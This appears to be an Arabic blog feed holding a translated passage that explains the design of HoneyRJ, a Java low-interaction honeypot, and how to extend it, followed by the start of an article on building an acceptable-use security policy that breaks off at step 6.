وقد تم تصميم HoneyRJ لتكون بسيطة للغاية وقابلة للتمديد بسهولة. تعكس قرارات التصميم لدينا الرغبة في إنشاء تطبيق بسيط حيث يوضح مفهوم مصيدة low-interaction ، ويسمح لأي شخص لديه الحد الأدنى من المعرفة التقنية لتوسيع نطاق التطبيق ليشمل البروتوكولات المرجوة منه.

 

4.1  الميزات التنفيذية

HoneyRJ يدعم الميزات الأساسية التالية:

  • دعم لبروتوكولات متعددة – يدعم التطبيق إضافة أي بروتوكول  يريده المستخدم  الى برنامج من خلال تنفيذ واجهة جافا المقدمة. أي فئة تنفذ الواجهة يمكن أن تضاف إلى تطبيق HoneyRJ وسوف يتفاعل  HoneyRJ مع العملاء وفقا للمنطق المعرف في تلك الفئة. انظر للقسم 4.4 للحصول على تفاصيل بشأن   تنفيذ البروتوكولات.
  •  لا يوجد حد لعدد اتصالات العميل – HoneyRJ  يحتوي على تصميم متعدد الخيوط بحيث يمكن الاستماع للاتصالات والتحدث مع أي عدد من العملاء في وقت واحد.
  • التسجيل – يقوم HoneyRJ  بإنشاء ملف تسجل لكل اتصال ويسجل كل الحزم المرسلة والمستلمة.
  • الواجهة الرسومية –  يقدم HoneyRJ  واجهة مستخدم رسومية بسيطة “GUI” للسماح للمستخدم السيطرة على التطبيق .
  • قابلية التهيئة -يمكن تهيئة التطبيق  في وقت التحويل البرمجي لضبط العديد من الخيارات.

فيما يلي  ميزات الوقاية من هجمات الحرمان من الخدمات  “DOS”   التي تنفذ  في HoneyRJ:

  •  انتهاء  وقت محاولة الاتصالقد يحاول احد القراصنة  شن هجوم DOS على مصيدة من خلال فتح عدد كبير من الاتصالات وتركها في حالة خمول. هذا من شأنه  منع المسؤول أو هاكر آخر من فتح اتصال إلى جهاز يشغيل HoneyRJ لأن نظام التشغيل سيكون قد استنفد موارد شبكته. سيتم إغلاق  جميع  اتصالات HoneyRJ  بعد انقضاء مهلة فترة التهيئة  (افتراضيا بعد دقيقتين). إذا كان الاتصال خاملاً  لحين انتهاء المهلة ، سوف يقوم HoneyRJ بإغلاق الإتصال وإذا  لم يصبح خاملا فسيقوم HoneyRJ  بإغلاق الإتصال  بشكل إجباري بعد وصوله لفترة المهلة
  • فترة الانتظار لاتصالات متعددة: قد يحاول القراصنة شن هجوم DOS على المصيدة من خلال فتح إتصالات  بسرعة، ويحتمل استخدام كمية كبيرة من موارد النظام. هذا من شأنه  منع المصيدة من التقاط حركة المرور من قراصنة آخرين أو بدء إتصالات  جديدة. وتفرض HoneyRJ فترة من الزمن للتهيئة (افتراضيا، 5 ثواني) بين الاتصالات المتزامنة على البروتوكول. خلال هذه الفترة، لا يمكن للهاكر إنشاء اتصالات جديدة إلى البروتوكول.

 

4.2 تصميم التطبيق

يقدم هذا القسم لمحة عامة عن عملية تصميم التطبيق، بما في ذلك قرارات ما قبل التصميم، وقرارات التصميم ذات الصلة والوثائق على الأجزاء الداخلية للتطبيق. وقد قمنا بإختيار اللغة التطويرية والبيئة، ومن ثم قمنا بإعطاء نظرتنا على قرارات التصميم الرئيسية بما في ذلك تصميم المؤشرات وشكل التسجيل بالإضافة إلى الآثار الأمنية . وأخيرا، قمنا بتوثيق التدفق الداخلي للتطبيقات ، و وضعنا قسماً عن كيفية كتابة وتثبيت بروتوكول إضافي لHoneyRJ.

4.2.1 اختيار اللغة التطويرية 

اخترنا جافا “Java”  كلغة التطوير لعدة أسباب. أولا، نحن على دراية بلغة جافا من خلال الدورات السابقة وخبراتنا في الخارج، مما يتيح لنا تركيز وقتنا في التصميم والتطوير، وليس  في تعلم اللغة. ثانيا، توفر جافا  مآخذ  تنفيذية رفيعة المستوى ومستقرة وسهلة الاستخدام، لذلك نحن لسنا بحاجة لتعلم  مأخذ البرمجة ذات المستوى المنخفض، مما يسمح لنا بالتركيز على التصميم والتطوير. وأخيرا، تقدم جافا مكتبة مؤشرات  ممتازة والتي خففت تنفيذنا للHoneyRJ كتطبيق متعددة المؤشرات.

4.2.2 اختيار بيئة التطوير المتكاملة (IDE)

IDE هو تطبيق  يوفر لمطوري البرمجيات بيئة  تخفف المهام ذات الصلة ببرمجة البرمجيات. اخترنا  Eclipse ك DIE حيث نطور المشروع.

Eclipse منتج حر مفتوح  المصدر و معتمد من قبل  Washington University CEC  . ويوفر جميع الميزات التي قد نتوقعها تطبيقات IDE الحديثة: رمز الانتهاء و اعادة الهيكلة  وإدارة الحزم .

وقد تم بناء Eclipse أيضا لدعم javadoc، الذي يسمح بالاشتقاق السهل لوثائق شفرة المصدر . نحن على دراية وثيقة في بيئة Eclipse من خلال الدورات الدراسية والخبرات الخارجية، مما يسمح لنا ببدء البرمجة دون منحنيات التعلم المرتبطة في  بيئات IDE الغير مألوفة.

4.2.3 قرارات التصميم

وقد قمنا بتلخيص افكارنا وراء قرارات التصميم التي وقعت مع تطوير HoneyRJ. ونتيجة كل قرار ملخصة في الاسفل ، بالإضافة الى التفاصيل المقدمة عن كيفية وصولنا لهذا القرار. قراراتنا تتبع رغبتنا في إنشاء مصيدة low-interaction  بسيطة، لكن قابلة للتشعب بما يكفي لتشغيل بروتوكولات متعددة والتحدث مع العديد من العملاء في وقت واحد.

4.2.3.1 تشعبات متعددة لدعم اتصالات متعددة

يمكن ل HoneyRJ  الاستماع على بروتوكولات متعددة ويمكنه التحدث مع العديد من العملاء على كل بروتوكول في آن واحد. قررنا  تصميم HoneyRJ لدعم اتصالات متعددة لأنه بخلاف ذلك سيكون  التطبيق  محدودا للغاية من حيث فائدته كمصيدة:  يمكن للتطبيق  تسجيل دخول اتصال هاكر واحد فقط  في نفس الوقت . بوجود اتصال واحد متوفر فقط، فإنك لن تكون قادرا على تشغيل بروتوكولات متعددة أو رؤية وصلات متعددة من هاكر واحد . وهذا من شأنه أن يحد من فائدة من البيانات التي تم جمعها من قبل HoneyRJ وبالتالي قررنا أن ننفذ HoneyRJ كتطبيق متعدد التشعبات.
إن تصميمنا متعدد  التشعبات مبني على أساس التصميم في قسم “Supporting Multiple Clients ” من مقال Java Sockets.

كل بروتوكول فعال في HoneyRJ لديه مؤشر  يستمع للاتصالات على المخارج. كما هو مبين في الشكل 5، عندما يتلقى اي مؤشر اتصال، يتم اطلاق  مؤشر ترابط فعال  للتحدث مع العميل المتصل، بينما يستمر مؤشر الترابط الرئيسي بالاستماع على الاتصالات. هذا التصميم يتيح للتطبيق الاستماع على منافذ متعددة ، والتحدث مع عدة عملاء في نفس الوقت .

fig5

 

 

4.2.3.2 تسجيل الدخول إلى الملفات النصية البسيطة:


HoneyRJ  يخزن سجل الملفات  كوثائق نصية في الدليل المحلي، ويقوم بتحديثها كلما تقدم  الاتصال . قررنا تخزين السجلات كوثائق نصية بسيطة للسماح للمستخدم قراءتها  بسهولة والسماح بالتحليل من قبل طرف ثالث . بدلا من ذلك، كان بإمكاننا  تخزين ملفات السجل  كسلسلة للوازم جافا ؛ ولكن ذلك سيتطلب تطبيقاً  للمعاينة والذي سيمنع  التحليل البسيط في المستقبل.

اخترنا تحديث  ملف السجل  باستمرا كلما تقدم الاتصال  للسماح للمستخدم بمراقبة الإتصالات الفعالة عن طريق عرض  ملف السجل  ، وهذا يوفر للمستخدم مرونة أكبر من كتابة ملفات السجل في نهاية الاتصالات يحمي من  فقدان بيانات السجل  في حال انهيار  التطبيق . وأخيرا، إذا كان المستخدم  يرغب في مشاهدة  ملفات السجل المكتملة فقط، فيمكنه اختيار فتح الملفات النصية فقط و التي تمثل الاتصالات المغلقة .

إن تنسيق ملفات السجل معرف في القسم 5.2.1 من دليل المستخدم، وهو مبني على تنسيق  ipfw لملف السجل  .

اخترنا لتخزين الطابع الزمني و إرسال واستقبال عناوين بروتوكول الإنترنت و المنافذ و محتويات الحزمة لأن هذه المعلومات ذات صلة مباشرة بتحديد  مكان وجود العملاء وأعمالهم  فور اتصالهم.

4.2.3.3 انشاء بروتوكلين اضافيين بسهولة:

يوفر HoneyRJ القدرة على إنشاء بروتوكول جديد عن طريق تطبيق واجهة جافا المقدمة. لقد قمنا بتصميم التطبيق بهذه الطريقة للسماح للمستخدم بإرسال بروتوكولات إضافية تتجاوز البروتوكولات العينة المقدمة مع HoneyRJ. البروتوكولات الغير قياسية (على سبيل المثال، بروتوكول معين لمنتج شركة) يمكن أن يكتب لHoneyRJ باستخدام هذه البنية. وبالإضافة إلى توفير درجة عالية من التخصيص للمستخدم النهائي، فإن  قرار التصميم هذا جعل تنفيذ البروتوكولات العينة بسيطاً . عملية كتابة بروتوكول موصوفة بمزيد من التفصيل في القسم 4.4 من تنفيذ البروتوكولات الإضافية.

4.2.3.4 دعم للبروتوكولات المبنية على السلاسل

يعتمد HoneyRJ  فقط على البروتوكولات القائمة على السلاسل ولا يدعم نقل البيانات الثنائية.  قمنا بتنفيذ  HoneyRJ بهذه الطريقة في المقام الأول للبساطة. ومع ذلك، هناك تداعيات أمنية تتعلق بالسماح للمستخدمين بتحميل الملفات الثنائية. على سبيل المثال، يمكن للهاكر   تحميل ملف ثنائي مع فيروس ومن ثم تنفيذه  من خلال هجوم تجاوز سعة المخزن المؤقت الموجود في نظام تشغيل  HoneyRJ. العديد من البروتوكولات قائمة على النصوص وبالتالي HoneyRJ  قادر على دعم معظم البروتوكولات ألتي يريد المستخدم  تنفيذها.

4.2.3.5 منع هجوم DOS

تم تصميم HoneyRJ مع مهلة اتصال وفترة انتظار  بين الاتصالات  إلى البروتوكول. هذا التصميم يمنع  هحمان الحرمان  من الخدمة من قبل المستخدمين الخبيثين . وقد ادرجنا  هذه الضمانات لأن الجمهور المستهدف الذي سيتصل ب  HoneyRJ  غير موثوق وفي الواقع، يقومون بإتصالات خبيثة فقط. بدون هذه الضمانات سيتمكن، القراصنة من شن هجوم DOS  ضد الآلة التي  تشغل HoneyRJ . أي اتصال بقي مفتوحاً  ل HoneyRJ  سيتم تلقائيا قطعه بعد انتهاء مهلة التهيئة  (افتراضيا، بعد  دقيقتين ). وهذا يمنع القراصنة من ترك الآلاف الاتصالات مفتوحة  وبالتالي يمنع المستخدمين الآخرين أو المسؤول من الاتصال بالجهاز الذي يشغل HoneyRJ . وبالإضافة إلى ذلك، بمجرد يقبل البروتوكول الاتصال، سوف ينتظر فترة من الزمن للتهيئة  (افتراضيا، 5 ثواني) قبل قبول آخر إتصال على ذاك البروتوكول. هذا يمنع المستخدم من افتتاح عدد كبير من الاتصالات في فترة قصيرة من الزمن.

4.3  المكونات الداخلية للتطبيق:


يصف هذا القسم تدفق الأحداث داخل HoneyRJ عندما يتم تشغيل التطبيق، وعند إضافة وبدأ  وحدة نمطية.  هذا القسم يشير الى فئات  non-GUI فقط،  حيث أن واجهة المستخدم الرسومية توفر وظيفة  تغليفية فقط لهذه الفئات.

إن المدرج في الملحق هو JavaDoc  لHoneyRJ، والذي يقدم وصفا لكل طريقة ومتغير مستخدم  في التطبيق. إذا كنت ترغب في إجراء تغييرات كبيرة في HoneyRJ، فإننا نوصيك بقراءة JavaDoc  قبل البدء. يتكون تطبيق HoneyRJ من فئتين رئيسيتين وهما  HoneyRJ وLIModule، واثنين من الطبقات المساعدة وهما، LIModuleThreadand LIProtocol.
يعد HoneyRJ  الفئة الرئيسية للتطبيق  وتسيطر على فئات LIModule المتعددة، والتي توفر دعم الاتصال  لتنفيذ البروتوكولات.  تحتوي كل LIModule  تحتوي فئة تنفذ  واجهة LIProtocol لتوفير منطق للتواصل مع العملاء المتصلين. وقذ تم إطلاق LIModuleThread من قبل LIModule على اتصال العميل  للتواصل معه.

4.3.1  إطلاق وتهيئة HoneyRJ :


هذا القسم يفصل عملية  التهيئة من  فئة التطبيق الرئيسي ، “HoneyRJ” تحتوي فئة HoneyRJ   على واحد أو أكثر من الوحدات وتقدم الخدمات المتعلقة بإدارة هذه الوحدات.  ويظهر الشكل 6 لمحة عامة عن إلاطلاق و التهيئة. عند  إطلاق تطبيق ، فإنه يتم استدعاء فئة منشئ  HoneyRJ   يقوم المنشئ بإنشاء بنية  HashMap   لتخزين LIModules الواردة. يعين HashMap   رقم منفذ إلى LIModule ، مما يسمح للتطبيق بالتأكد انه تم تحميل وحدة  لكل منفذ. بمجرد تهيئة  HashMap .

تم انشاء دليل التسجيل  وتم حفظ مرجع إلى هذا الدليل كعضو متغير للتمرير في وقت لاحق   لإضافة LIModules . عند هذه النقطة، HoneyRJ  مستعد لإضافة  وحدات  . تم تهيئة مثيل من LIModule   (انظر للقسم 4.3.2 لمزيد من التفاصيل على تهيئة وحدة نمطية)، وتم تمريرها إلى أسلوب  registerservice () من فئة HoneyRJ والتي تضيفها  إلى HashMap ، لضمان عدم تعريف وحدات  أخرى على المنفذ الخاص بها.

بمجرد إضافتها  إلى HashMap ، يتم استدعاء اسلوب الوحدة النمطية registerparent () ، ويعطيها حق الوصول إلى دليل التسجيل المقدم من  HoneyRJ .  يتم إضافة وحدات إضافية بعد بتكرار هذه العملية. عند هذه النقطة، HoneyRJ  ينتظر المستخدم لبدء إضافة وحدات. بمجرد ان يبدأ المستخدم بإضافة  الوحدات،  سيستمع التطبيق للاتصالات.

fig6

4.3.2 تهيئة  LIModule :

يعطي هذا القسم تفاصيل عملية تهيئة وLIModule والخطوات التي تحدث عند بدء LIModule.

يقوم LIModule بمعالجة الاتصالات ويسجل  المتعلقة ببروتوكول واحد. يظهر الشكل 7  لمحة عامة عن العملية في . لإنشاء LIModule، يتم استدعاء  منشئ LIModule مع فئة تهيئه تنفيذ واجهة LIProtocol (انظر  الى القسم 4.3.3 لمزيد من التفاصيل عن واجهة LIProtocol). يتم تخزين  فئة LIProtocol  المعطاة  في المنشئ كعضو متغير . في هذه المرحلة، LIModule ينتظر فئة HoneyRJ لتسجيل نفسه بالوحدة بواسطة استدعاء الأسلوب registerParent (). سجلت مرة واحدة، وبمجرد التسجيل يقوم LIModule بتخزين إشارة إلى الأصل من أجل الوصول لاحقا لمعلومات دليل التسجيل الأصلي. الوحدة الآن على استعداد ليتم بدأها من قبل المستخدم.
بمجرد البدء،   تطلق الوحدة نفسها إلى التشعب وتنشئ ServerSocket.   “JavaDocumentation2004” يستمع على المنفذ المحدد من قبل LIProtocol المعطى.

عندما يتصل العميل بالمنفذ، تقوم  وLIModule بإطلاق  LIModuleThread  مع مقبس المتصل. يتصل LIModuleThread  مع القراصنة  وفقا لLIProtocol، في حين تواصل LIModule الاستماع إلى  الاتصالات الجديدة.

fig7

Figure 7

4.3.3 نطرة عامة على واجهة LIProtocol :


يحدد LIProtocol خمسة أساليب يجب أن تنفذ من قبل فئة من البروتوكول. من هذه الطرق الخمسة، طريقة processInput ()  التي تقوم بمعظم العمل، في حين توفر الأساليب الأربعة الأخرى  المعلومات حول البروتوكول. عندما يتم تشغيل LIModuleThread للتعامل مع  اتصال العميل ،  فإنه يقوم بإنشاء مثيل من الفئة التي تنفذ واجهة LIProtocol .  عملية استقبال وإرسال الرسائل مبينة في الشكل  8،  باستخدام بروتوكول FTP كمثال على ذلك. كل حزمة ترد  من العميل في المقبس  يتم تحويلها إلى سلسلة مكونات وتمرر كمتغير إلى اسلوب processInput () . ومن المتوقع بعد ذلك ان تعالج processInput () السلسلة وترد جوابها إلى العميل كناقل لمكونات السلسلة .  يتم إرسال كل سلسلة في الناقل المرجع  إلى العميل كسطر منفصل. إذا قام بروتوكول الخاص بك بارجاع سلسلة واحدة فقط ، يتم توفير طريقة مساعدة ، LIHelper.vectorFromString  ()، لإنشاء  مكون موجه  من سلسلة واحدة.

وتعرف الأساليب الأخرى من واجهة  LIProtocol النحو التالي:

  •  whoTalksFirst () – قيمة العائد من هذا الأسلوب يتيح للLIModuleThread معرفة ما إذا كان العميل أو الخادم يرسل الرسالة الأولى فور تأسيس اتصال. في مصطلحات HoneyRJ، وهذا  يشار إليه بإسم الذين  ” يتحدثون أولا .” يتم تعريفه من قبل تعداد TALK_FIRST ولها قيمتين: SVR_FIRST (إذا قام الخادم  بإرسال الرسالة الأولى) وCLIENT_FIRST (إذا قام العميل بإرسال الرسالة الأولى).

البروتوكول المعرف بأن الخادم لديه يقوم  بالعملية أولاً سيكون طلب  أول رسالة له   باستدعاء processinput () مع  مكون فارغ  كالمؤشر . على التنفيذ تميز هذا وإعادة الرسالة الأولى.

  •  getport () – القيمة الصحيحة العائدة من من هذا الأسلوب تتيح  لLimodule معرفة على ماذا يستمع منفذ البروتوكول.
  •  toString () – يتم استخدام قيمة عائد السلسلة في هذه الطريقة لتسمية ملفات السجل وتحديد البروتوكول في واجهة المستخدم الرسوميةGUI. يجب ان ترجع  سلسلة تحدد اسم البروتوكول، على سبيل المثال، “FTP “.
  • • isconnectionover () – قيمة العائد المنطقية من هذا الأسلوب تشير إلى LIModuleThread  إذا اعتقد  البروتوكول ان  الاتصال قد انتهى، وهذا يعني، انه لا يجب إرسال او تلقي المزيد من الرسائل . يتم التحقق من قيمة الإرجاع من هذا الأسلوب بعد  إرسال سلسلة المكونات التي تم إرجاعها بواسطة processinput ()  إلى العميل.  يجب ان يعيد الأسلوب  منطقية صحيحة إذا انتهى الاتصال  أو  كانت المنطقية غير صحيحة إذا  كان البروتوكول لا يزال يتوقع إرسال أو إستقبال  الرسائل.

للمواصفات الكاملة من الأساليب  (بما في ذلك أنواع  عوائد جافا وأنواع المؤشرات )، يرجى الاطلاع على JavaDoc  المدرجة في الملحق.

fig8

في هذا القسم، استعرضنا الطبقات التي تشكل تطبيق HoneyRJ

. HoneyRJ هي الطبقة الرئيسية التي تحتوي على فئات LIModule، لكل واحدة منها مضيف بروتوكول واحد. وتعرف البروتوكولات من خلال تنفيذ واجهة LIProtocol. عندما يتصل عميل، يتم إنشاء   LIModuleThread لاجراء محادثات مع هذا العميل

4.4 تنفيذ بروتوكولات إضافية:


HoneyRJ يسمح للمستخدم بكتابة بروتوكولات اضافية و “إلحاق ” تلك البروتوكولات إلى HoneyRJ. يوضح هذا القسم الخطوات المطلوبة لتنفيذ البروتوكول. خلال هذا القسم ، تقدم  كل الأمثلة في سياق بروتوكول FTP الذي قمنا بتطويره. عملية إنشاء بروتوكول جديد تبدأ مع العديد من قرارات التصميم الرئيسية. وبعدها يمكنك إنشاء فئة تنفذ الطرق 5 في واجهة LIProtocol. ثم  ستضيف إشارة إلى الفئة التي تم إنشاؤها في اسلوب التطبيق الرئيسي من خلال تعديل بسيط على ملف HoneyRJMain.java.

عملية كتابة بروتوكول تتطلب معرفة ببرمجة جافا: على ألاقل ، فهم هياكل بيانات جافا المألوفة وبرمجة المكونات الموجهة . في هذا القسم، نفترض أن المستخدم يستخدم بيئة التطوير المتكاملة Eclipse . وبالإضافة إلى ذلك،  نفترض لديك معرفة وثيقة بالبروتوكول الذي سوف تنفذه.

4.4.1 قرارات تصميم  بروتوكول رئيسي

قبل البدء في البرمجة، ستحتاج إلى إجراء العديد من القرارات الأساسية حول البروتوكول الخاص بك:

  •  ما هو اسم البروتوكول الخاص بك؟ اتخذ قرار بشأن اسم مختصر (يفضل أن يكون أقل من 5 أحرف) عن البروتوكول الذي سيتم استخدامه للعرض في واجهة المستخدم الرسومية ولتسمية ملف السجل على سبيل المثال  ، “FTP ” هو الاسم لبروتوكول FTP.
  • • بمجرد أن يتم تأسيس الاتصال، هل يبدأ  الخادم أو العميل الحديث أولا؟ Ftp  هو مثال على البروتوكولات التي يتحدث فيها  المنفذ أولا: بمجرد تأسيس الاتصال، ينتظر العميل للخادم لارسال رسالة “220 Service Ready”  IRC  هو مثال على البروتوكولات التي يتحدث فيها العميل أولا: بمجرد تأسيس الاتصال، ينتظر الخادم العميل لإرسال رسالة  ” NICK username   “
  • على اي منفذ  يدار البروتوكول الخاص بك؟ معظم البروتوكولات المشتركة لديها منافذ معرفة في وثيقة التعريف الخاصة بهم RFC.  إذا كنت تنفذ بروتوكولا مخصصا، وهذا قرار يجب ان تتأكد منه  بنفسك، ومع ذلك، فإننا نوصيك بعدم  إعادة استخدام المنافذ المعروفة للبروتوكول المخصص. قائمة المنافذ المعروفة متوفرة من IANA في http://www.iana.org/assignments/port-numbers. يعملFTP على منفذ 21.

4.4.2 التنفيذ:


تسلح بإجابات لقرارات التصميم، يمكنك أن تبدأ ببرمجة البروتوكول الخاص بك. أولا،  قم باستيراد مشروع Eclipse  المعطى  كجزء من شفرة المصدر إلى Eclipse  باتباع التعليمات في وثائق Eclipse   [Eclipse08]. الخطوة التالية هي إنشاء فئة عامة  لتطبق واجهة LIModule. نوصيك بتسمية الفئة ك [اسم] البروتوكول، لتحل محل [Name ] مع الاسم الذي قررته في جزء القرارات الرئيسية، وتخزين الفئة في حزمة برتوكول /thesrc بداخل مشروع Eclipse .

  •  puplic class  ftpprotocol implements LIProtocol

الفئة التي تنفذ بروتوكول FTP تسمى “FtpProtocol .”

وبمجرد إنشاء الفئة، إسمح لEclipse  بتوليد اساليب skeleton التي تطبق الواجهة. سوف تحتاج إلى إنشاء  اساليب tostring () باستخدام ” Override /Implement methods ” وشغلها في  Eclipse . تعد اساليب tostring ()، getport () و whotalksfirst ()  بسيطة التنفيذ وتمثل الجواب على اسئلة القرار الرئيسية .

  • public TALK_FIRST whoTalksFirst(){return TALK_FIRST.SVR_FIRST; }

يتطلب بروتوكول FTP الخادم لإرسال الرسالة الأولى.

  •  public String toString(){return “FTP”; } return

قررنا تسمية  بروتوكول نقل الملفات ببروتوكول FTP .

  • public int getPort(){return 21; } return

يستمع بروتوكول FTP على المنفذ 21.

الطريقتين المتبقيتين  isconnectionover () و processinput ()،  هما أكثر تحديا، حيث يتطلب التنفيذ  المناسب  تذكر حالة العميل المتصل . عند  تنفيذ  بروتوكول FTP  يستخدم عضو متغير connectionstate لتخزين حالة الاتصال وتنفيذ بيان التبديل () على هذا المتغير في طريقة processinput ()  لتحديد ما إذا تم إستلام الإدخال  المناسب وارسال الاستجابة .

يتم تنفيذ isconnectionover () بفحص إذا كان متغير connectionstate  يساوي الثابت  الذي يمثل الحالة المغلقة.

طريقة processinput () ترجع ناقل سلسلة المكونات ردا على السلسلة. إذا كنت تحتاج إلى سلسلة واحدة فقط ردا على رسالة، يتم توفير طريقة مساعدك ثابتة مساعد طريقة lihelper.vectorfromstring () لتوفير  وقت تلخيص كل استجابات السلسلة كناقل.  الطريقة الثابتة تعيد الناقل مع السلسلة المعطاة كالعضو الوحيد.

  •  public Vector<String> processInput(String msg) { /* seesource code for implementation */}
  •  public boolean isConnectionOver(){return connectionState == KILLED; }

4.4.3 إضافة البروتوكول:


والآن بعد أن أنشأت فئة البروتوكول الخاص بك، يجب عليك ان تجعل تطبيق HoneyRJ يعلم به . هذه العملية بسيطة وتتطلب إضافة عدة أسطر من التعليمات البرمجية لطريقة التطبيق الرئيسي (). افتح ملف SRC / honeyrj / HoneyRJMain.java. داخل الأسلوب الرئيسي  ()، أضف الأسطر التالية بعد خط 17، createSampleProtocols ():

  •  LIProtocol yourProtocol = new [  NAMEOFCLASS] ( );

استبدال [NAMEOFCLASS] باسم الفئة، على سبيل المثال، بروتوكول FTP.
لبروتوكول FTP،  ينتهي الخط  ببروتوكول جديد FTProtocol();

  •  LIModule yourModule = newLIModule (yourProtocol);

لا يتطلب هذا السطر أي تعديل. أنه ينشئ LIModule  التي ستغطي  فئة البروتوكول الخاص بك، وتوفر  مقابس الاتصالات .

  • gui.AddModule(yourModule);

هذا السطر لا  يتطلب أي تعديل. ويضيف البروتوكول الخاص بك إلى HoneyRJ   و HoneyRJ GUI .

في هذه المرحلة ، لقد نجحت في إضافة بروتوكول جديد لHoneyRJ. يمكنك تشغيل ملف HoneyRJMain.java كتطبيق جافا وعرض النتائج

وباختصار، فإن عملية إنشاء بروتوكول إضافي في HoneyRJ تتكون من اتخاذ العديد من قرارات تصميم وتنفيذ واجهة LIProtocol وفقا لإجابات قرارات التصميم . بمجرد إنشاء الفئة، يتم اتباع عدة خطوات بسيطة لإضافة البروتوكول الجديد للتطبيق.

5.الملخص:


تقليديا، تم استخدام IDS من قبل مسؤولي الشبكة لمراقبة حركة المرور على الشبكة بفاعلية لكشف اي نشاط غير مصرح به. ومع ذلك، في عالم اليوم تستخدم الاتصالات المشفرة على نحو متزايد، والذي لم تقدر انظمة كشف التسلل على رصده أصبحت مصائد مخترقي الشبكات Honeypots  بديلا جذابا بشكل متزايد لتحديد مصادر حركة المرور الخبيثة.

تم اختراع ال honeypots، في عام 1998، ‘وظيفتها هي تسجيل جميع الاتصالات  ومحاولات الاتصال.  يجب وضع نظام Honeypots   على عنوان IP غير مستخدم، بحيث لا  يتم توجيه  اي محاولات  اتصال مشروعة إلى المصيدة.  يتوفر نوعان رئيسيين  من honeypots المتاحة اليوم: high-interaction  و low-interaction . مصائد  low-interaction بسيطة وتوفر  تطبيقات جزئية من البروتوكولات الشائعة،  بهدف تسجيل فقط مصدر حركة المرور الخبيثة . ومصائد high-interaction   أكثر تعقيدا وغالبا ما تكون خوادم عادية ببرمجيات رصد متقدمة  وتهدف الى مساعدة الباحثون في فهم عمليات التفكير الداخلية للقراصنة.

لا تزال honeypots  حقلا متطورا من علم الحاسوب الآلي، مع التطورات الأخيرة أنشئت  شبكات honeypots في جميع أنحاء العالم ، عادة يشار إليها ب honeynets و  distributed honeypots.

قمنا بتقديم حالة دراسية  لتنفيذ مصيدة low-interaction  في جافا “Java ” ،  تسمى  HoneyRJ. توفر HoneyRJ التسجيل الأساسي، والتمدد المتوقع في مصيدة low-interaction  حديثة

ترجمة لمقال : A Practical Guide to Honeypots

اقرأ ايضا  مقال : شرح انشاء SSH Honeypot بأستخدام اداة Kippo  والذي يشرح طريقه استخدام مصيده لبروتوكول SSH

مقال : 10 خطوات لسياسة أمنية ناجحة

$
0
0

يوجد جزئين لأي سياسة أمنية. الأولى تهتم بمنع التهدديات الخارجية لضمان سلامة الشبكة. والثانية تتعامل على تقليل المخاطر بتعريف او تحديد الإستخدام السليم لموارد الشبكة.

يوجد العديد من التقنيات المتاحة للتخفيف من المخاطر الخارجيه لشبكة مثل جدران الحماية وبرامج مكافحة الفيروسات وأنظمة كشف التسلل وفلاتر الإيميل و الخ.. هذه الموارد يتم تنصيبها وتثبيتها بإستخدام موظفي IT وقد لا يشعر بوجودها المستخدم في الشبكه .

على الرغم من ذلك, الإستخدام السليم للشبكة داخل الشركة يعتبر مسألة إدارية

إنشاء وتنفيذ سياسة إستخدام مقبولة او مايعرف ب (AUP), والتي ستقوم بتنظيم سلوك الموظف, تتطلب براعة ودبلوماسية.

في النهاية, إمتلاك مثل هذه السياسة سيحميك وشركتك من المسؤولية اذا إستطعت اثبات بأن بعض النشاطات الغير لائقة إنتهكت تلك السياسة. على الأرجح بأن السياسة المعرفة جيدا سوف تقلل من جهد التعامل مع هذه النشاطات ,ومن جانب اخر يمكن ان تقوم بزياده إنتاجية الموظفين وتقليل إحتمال اي حالات غير قانونية في المستقبل.

هذه العشر نقاط, يمكن ان تكون غير شاملة لصغائر الامور ولكن ستقدم منهج فكري سليم لتطوير وتنفيذ AUP لتكون عادلة وواجبة النفاذ.

1.تحديد مخاطرك


ماهي مخاطرك من الإستخدام الغير سليم؟

هل تملك معلومات يجب ان تبقى سرية ومقيدة؟

هل ترسل او تستقبل عدد كبير من المرفقات والملفات؟

 يمكن ان يكون الامر ليس ذات اهمية. او يمكن ان يكلفك الاف الدورلارات شهريا بسبب نقص إنتاجية الموظف او تعطل الكومبيوتر.

طريقة جيدة لتحديد مخاطرك بإستخدام أدوات المراقبة الموجوده في الشبكه . كثير من منتجي الفايرول ومنتجات الانترنت الأمنية تسمح بفترات التقييم لمنتجاتهم. اذا كانت هذه المنتجات تقدم إبلاغ عن معلومات, يمكن ان يكون الامر مفيدة بإستخدام فترات التقييم هذه لتقدير مخاطرك. على الرغم من ذلك, من الأهمية بضمان ان موظفينك منتبهين بأنك سوف تقوم بتسجيل نشاطاتهم لغرض تقييم المخاطر, اذا كنت مخطط لإستخدام هذا الشئ. الكثير من الموظفين يعتبرون هذا الشئ كإنتهاك لخصوصياتهم اذا تم القيام به من دون علمهم بالأمر.

2.تعلم من الأخرين


يوجد العديد من أنواع السياسات الأمنية, لذا من الأهمية رؤية ماتفعله الشركات الأخرى. تستطيع قضاء بعض الساعات بالتصفح على الأنترنت, او يمكنك قراءة كتاب مثل information security policies made easy  ل charles cresson wood والذي يضم اكثر 1200 سياسة جاهزة للتخصيص. أيضا, ممثلي المبيعات من مختلف موزعي البرامج الأمنية. ستجدهم سعداء دائما بتقديم المعلومات.

3. تأكد من ان السياسة تتفق مع المتطلبات القانونية


إعتمادا على البيانات , يمكن ان تحتاج لتأكيد لحد الأدنى من بعض المعايير لضمان الخصوصية وسلامة بياناتك, خصوصا اذا كانت شركتك تملك معلومات شخصية. إن إمتلاك سياسة امنية قابلة للتطبيق موثقة وهو احد السبل للتخفيف من اي التزامات قد تتكبدها في حالة خرق امني.

4. مستوى الأمان = مستوى الخطر


لاتفرط!! الكثير من الحماية يمكن ان يكون بمستوى القليل من الحماية. بعيدا عن ابقاء الأشخاص السئيين بعيدا, انت لن تواجه اي مشاكل بالإستخدام السليم لانك تملك موظفين ناضجين ومتفانين.في هذه الحالة ,قوانين مكتوبة لقواعد السلوك تعتبر اهم شئ. الامان المفرط يعتبر عائق للعمل بسلاسة, لذا تأكد من عدم المبالغة بحماية نفسك.

5. قم بشمل الموظفين في تطوير السياسة


لا احد يريد سياسة تملئ عليه من هم فوقه. قم بشمل الموظفين بعملية تعريف الإستخدام السليم. ابقي الموظفين على علم بتطور بعض القوانين وتنفيذ بعض الأدوات. اذا قام الناس بفهم الحاجة الى سياسة امنية مسؤولة, سوف يكونو اكثر ميلا للإلتزام.

6. درب موظفينك


